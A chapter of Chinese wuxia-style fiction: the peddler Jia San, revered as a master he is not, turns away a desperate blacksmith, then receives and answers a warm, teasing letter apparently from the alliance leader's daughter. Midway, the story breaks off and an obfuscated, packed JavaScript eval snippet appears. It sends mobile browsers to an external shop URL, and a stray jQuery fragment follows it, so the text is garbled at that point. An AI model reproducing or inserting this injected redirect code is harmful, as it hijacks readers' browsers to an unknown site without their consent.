话说灵前论武大会散后，贾三被八抬大轿又抬回了归真山庄。
这一回，轿子还没到山庄门口，消息已经先到了。山庄上下，从总管到烧火丫头，个个脸上都多了一层说不清道不明的光，那是一种“我家老爷中了进士”的光，虽然贾三不是老爷，也没中进士，但“灵前论武、口传真经”这八个字，在江湖上的分量，比十个进士都沉。
贾三从轿子里出来时，发现山庄门前多了两样东西。一样是一对石狮子，据说是金刀门连夜从山下镇上拉来的，说是“贾大侠门第，岂可无狮”。另一样是一个人。
这人跪在山庄门前的石阶下，一动不动。贾三走近了才认出来，大高个儿，方脸膛，虎口有厚厚的刀茧，正是那日跪了两天两夜被架走的铁匠杜衡。他不知什么时候又回来了。
“大侠。”杜衡抬起头，眼眶发青，嘴唇干裂，声音哑得像砂纸磨铁，“我找了您五天。他们不让我进门。”
贾三站住了。
“求您了。萍娘，她叫萍娘，绣娘，二十三岁，眉心有一颗痣。前年盟主府征劳役，她父亲被拉去修忠义堂，她去寻，便再也没有回来。我寻了她三年——”
他跪在那里，腰杆却挺得笔直，像是那根从铁匠铺里带出来的铁砧还搁在他的脊梁骨里。
贾三低头看着他，看了许久。
“你起来。”他说。
杜衡没有动。
贾三忽然不知道该说什么了。他能说什么？说他不是大侠？这句话他已经说了一百遍，没有一个人听。说“我帮你找”？他连自己在哪儿都不知道。
他便蹲下去，与杜衡平视。那绸衫下摆拖在石阶上，沾了灰，他浑然不觉。
“杜衡，”他说，声音比平时低了许多，似是不想让旁人听见，“我帮不了你，我连我自己在哪儿都不知道，你找错人了。”
杜衡看着他。那张方脸膛上的表情，从惊愕变成空白，从空白变成一种比哭还难看的笑。他站起来，膝盖上沾着碎石子，没有掸。
“我懂了。”他说，“大侠不肯帮。”
他转过身，一步一步往山下走。他的肩膀很宽，脚步很重，每一步都像踩在还没冷却的铁坯上。贾三站在石狮子旁边，看着那个背影消失在雾气里，直到铜锁端着茶盘出来，在他身后站了片刻，轻声说了句：“茶凉了。”
贾三没回头。他依旧望着那条空荡荡的山路，忽然觉得石狮子龇着的牙有些刺眼。他听见铜锁转身回了院里，脚步不轻不重，像那日在廊下用草棍拨蚂蚁时一般。
贾三不知道，他方才对杜衡说的那句话，已经被廊柱后面的温伯安一字不漏地记了下来：“贾大侠谦言‘不知身在何处’，此句收进《归真日录》第七卷，当为日后解经之钥。”他也不知道，杜衡下山后没有回铁匠铺，他在山脚岔路口站了整整一炷香，往东是回庄的路，往西是进城的路，他选了第三条，一条不知通向哪里的山路，然后走了进去。他只知道，自己方才说的每一个字都是真话，而真话，是他如今最不值钱的东西。
那一刻他觉着，自己连站在石阶上的分量都不如那头石狮子。石狮子至少能守门，他守不了任何东西。
回到院内，天已擦黑。贾三独自坐在房中，对着那根被金漆描了花边的扁担发呆。窗外偶尔传来一声虫鸣，然后虫鸣也歇了，只剩山风穿过檐角，把窗纸吹得微微发颤。他忽然想起一件事，破庙里那个穿黑衣服的人，临死前想说却没说完的那句话，到底是什么？那东西，到底藏在哪儿？
他想了许久，还是想不出来。黑衣人的眼睛，白衣人的笑，雨，血，泥地里的脚印，在他记忆里搅成一团，越来越模糊。也许那本就和他无关。他只是个躲雨的货郎，撞上了一桩不该他撞见的事。
正自发呆，忽听有人敲门。
“谁？”
门外是铜锁的声音：“前辈，有人送信来。”
贾三打开门。铜锁站在门口，手里托着一封书信。信封是素白宣纸，没有署名，没有落款，只在封口处封了一滴蜡，蜡是上好的蜜蜡，封面上压的竟是盟主府的印记。那印记他见过，赵雄给他的那封烫金帖子上，也有这样一个方方正正、看不清刻的什么的戳子。
贾三不识字，把信封翻来覆去看了两遍，问道：“谁的？”
铜锁的声音平平的：“送信的人说，是盟主府的。信使交代，书信务必交到前辈本人手里。”
贾三的心往下一沉。盟主府，那是武林盟主赵无极的府邸，是整个江湖权力最大的地方。他上回听赵雄说起过这个名字，语气恭恭敬敬，像是在提庙里最大的那尊菩萨。这样一个人，给他写信做什么？
他拆开信封，里面只有薄薄一张素笺。字迹清瘦，微微倾斜，与他见过的任何文书都不同，赵雄的帖子是馆阁体，工工整整；温伯安的记录是小楷，密密麻麻；眼前这笺上的字，像是一阵风就能吹散，却又每一笔都不肯倒。
他硬着头皮看了两眼，对铜锁说道：“你念。”
铜锁接过信笺，凑到烛火下。片刻之后，他的眉尖动了一下。
“念啊。”贾三催道。
铜锁开口了，他的声音比平时低了半分，像是怕被窗外的人听见。
“贾三哥：
那日灵前论武，我在台下。你说‘吃葡萄不吐葡萄皮’，所有人都跪下了，我笑了。我父亲说这是亵渎先贤，罚我跪了一夜祠堂。我在祠堂里想了想，觉得你比他们都明白。”
铜锁念到“贾三哥”时，声音不自觉地慢了一拍。贾三只当他结巴了，也没在意。他听到“笑了”二字，自己倒先愣了，全场几百号人，跪的跪，哭的哭，入定的入定，居然还有人在笑？
“接着念。”
“他们都求你裁夺经义。我不问经义。我问你，茅房的墙根，当真能听到高人的对话吗？那霉饼，到底是什么滋味？”
“噗——咳——咳咳！”贾三被口水呛了一口。铜锁停了一下，等他缓过劲来，才继续往下念。
“另，听闻归真山庄的厨娘善腌桂花，可惜无人与我共尝。
——如烟，不拜。”
念完了。烛火跳了一跳，在两个人的脸上晃过去一道明暗。
贾三坐在那里，半天没出声。他这辈子没收过信，他在村口帮王寡妇给张屠夫传过情书，那是用草纸写的，封面用烧火棍画了个歪歪扭扭的鸡心，他记得很清楚。可这封信，倒不是什么情书，只是头一回有人不叫他“前辈”，不叫他“大侠”，不跪他，不拜他，只问他些杂事。她问的是真东西，他虽然答不上来，却知道那是什么。
“贾三哥。”他重复了一遍这个称呼，忽然笑了一下，那笑意很淡，他已经多久没被人叫过这个名字了？
“铜锁。”
“小的在。”
“你去——去给我找纸笔来。还有——”他顿了顿，“再拿块桂花糕。用油纸包好，别让温伯安看见。”
铜锁应声退下。走到门口时，他忽然停下脚步，背对着贾三，说了一句：“前辈，那信里的字，写得很轻。”
贾三没听懂。
“很轻是什么意思？”
铜锁没回答，推门出去了。门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830795|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
合上时，烛火又跳了一跳。贾三这才注意到，铜锁念信的过程中，他掌心一直攥着，松开时，手掌上已多了几道指甲印子。
铜锁回到自己房里，掀开秦不收的药箱，往甘草格里多撒了半把黄连碎。
药箱盖子合上时，他的手却顿在那里。那张信笺上的字迹还在他眼前晃，清瘦，微斜，仿若一个人站在风口里。他见过这信上的字，他父亲留下的旧物中夹着一张素笺，笺角烧了半边，残存的笔迹就是这个模样，落款是“无极”。他从前不懂那是什么意思，后来在山庄里听人闲话，才知武林盟主便叫赵无极。但他什么也没说，只是把信封翻过来，对着光，仔仔细细地看了许久。然后他把信封装进袖口，送到了该送的地方。他不识字，但他认得那股墨的力道，与父亲旧物中那张已经泛黄的笺，一模一样。
纸笔备好了。贾三对着空白的信纸，把袖口往上捋了又捋，笔杆捏在手心像捏着一根擀面杖。他也不识字，但他会写字。这些年走村串巷替人写情书、造借据、抄路引，学的都是依样画葫芦，把一个个字当成花样子描，描完最后一个收笔，别人能念得通，他不知意思。
这封回信他写了许久。写到“霉饼”的“饼”字时，他忽然笑了一下。他这辈子吃过许多饼，发霉的、馊的、被雨泡软的、冻得咬不动的，从来没有人问他那是什么滋味。“壁缝里听高人说法，听得半句顺口溜”，写到“顺口溜”三个字，又抬头跟铜锁说：“这信别记进《归真日录》，听见没？”
铜锁嗯了一声，把自己的脸藏在烛火后面。
“好了。”贾三搁下笔，把信纸举到灯前吹了吹未干的墨，叠好，塞进信封。封口没有火漆，他便从袖口上扯下一根线头，在信封上绕了两圈，权当封缄。
“送去吧。”他把信递给铜锁，“别让旁人知道。对了——厨房怎么走？”
铜锁接过信，没有回答，只是伸手指了指后厨的方向。
那夜的油纸包，是贾三亲手从厨房里偷来的。孟姑刚蒸好一轮桂花糕，转身去拿糖罐子的工夫，灶台前已少了四块。最靠近蒸笼的那块青砖上，留了一道糯米粉的指印，那是贾三临走前撑了一下灶台，稳住因为紧张而差点绊倒的身子。他这辈子还是头一回从别人厨房里顺吃的。他跑回后院时，桂花糕还是热的，油纸被呵出一层薄薄的水汽。
他把油纸包塞进信封旁边那个小布包里时，忽然觉得自己很蠢。堂堂盟主府的千金，什么桂花糕没吃过？可他又想，她信里写的究竟是“可惜无人与我共尝”，还是“可惜无人管我吃没吃”？
他分不清楚这些细碎的区别。他拆开孟姑那个用竹叶裹着的小包时，里面正好是四块糕。他把糕一块一块地放进小布包，排得整整齐齐，像码货架上的胭脂盒子，然后对自己说：她就是客气一下，我也就客气一下。只是回个礼，不算别的。
从厨房回来的路上，他的手指侧缘沾了一道竹叶的青痕。他边走边在腰间蹭了两把，回到院门口还借着檐下的灯笼翻来覆去地看了三遍，那颜色不油不腻，闻着涩涩的，像是从山野里带来的。他发了半晌呆，不知道这股竹叶味，到底是孟姑裹糕的那张叶子，还是从前他上山采竹换钱时背篓里带回来的那种味道。
当夜，温伯安在《归真日录》里记道：
“是夜，贾大侠闭门谢客，灯下展纸良久，似有所书。书毕，命茶僮持往盟主府。纸墨之香，逾墙可闻。又闻厨房失糕四枚，孟姑但笑不言，料是大侠辟谷期满，另辟食补之蹊径。大侠入山庄以来，不近官府，不交权贵，今夜忽然与盟主府通书，此中深意，殊可玩味。”